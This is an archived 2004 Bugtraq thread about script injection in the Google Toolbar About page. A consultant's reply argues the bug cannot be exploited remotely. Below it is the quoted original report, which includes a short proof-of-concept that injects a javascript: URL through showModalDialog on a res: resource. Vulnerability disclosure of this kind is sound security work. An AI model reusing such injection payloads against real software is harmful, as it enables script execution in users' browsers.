bugtraq - Re: GoogleToolbar:About -- Allows Script Injection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Date: Sat, 18 Sep 2004 19:31:15 +0200
From: "Rafel Ivgi, The-Insider" <theinsider@....net.il>
To: "bugtraq" <bugtraq@...urityfocus.com>,
	"full-disclosure" <full-disclosure@...ts.netsys.com>,
	<PenetrationTesting@...oogroups.com>, <pentest@...sg.org>,
	"SecurITeam News" <news@...uriteam.com>,
	"securitytracker" <bugs@...uritytracker.com>,
	"vulnwatch" <vulnwatch@...nwatch.org>,
	"ViPeR" <viper31337@...oo.co.in>
Subject: Re: GoogleToolbar:About -- Allows Script Injection

This is not dangerous from remote, because the "res:" protocol is not
accessible by internet zone. You must to find a way to access  "res:" from
remote, otherwise it means nothing. As for local zone, you can ran scripts
in mycomputer zone.

Rafel Ivgi, The-Insider
Security Consultant, Finjan.com

----- Original Message ----- 
From: "ViPeR" <viper31337@...oo.co.in>
To: <news@...uriteam.com>; <bugtraq@...urityfocus.com>;
<bugs@...uritytracker.com>; <vulnwatch@...nwatch.org>;
<vuln@...urity.nnov.ru>; <sec-adv@...unia.com>;
<submissions@...ketstormsecurity.org>
Sent: Friday, September 17, 2004 10:51 AM
Subject: GoogleToolbar:About -- Allows Script Injection

Affection Software : GoogleToolbar
Version : Tested on 2.0.114.1-big/en (GGLD)

Notes:
GoogleToolbar's About section allows injection of
script, since it lacks any checking. The following
code is a Proof Of Concept.

<s c r i p t>
window.showModalDialog("res://C:\\Program%20Files\\Google\\GoogleToolbar1.dl
l/ABOUT.HTML",
"<div style=\"background-image:
url(javascript:alert(location.href));\">");
</s c r i p t>

rgds,
Gregory R. Panakkal / Viper

________________________________________________________________________
Yahoo! India Matrimony: Find your life partner online
Go to: http://yahoo.shaadi.com/india-matrimony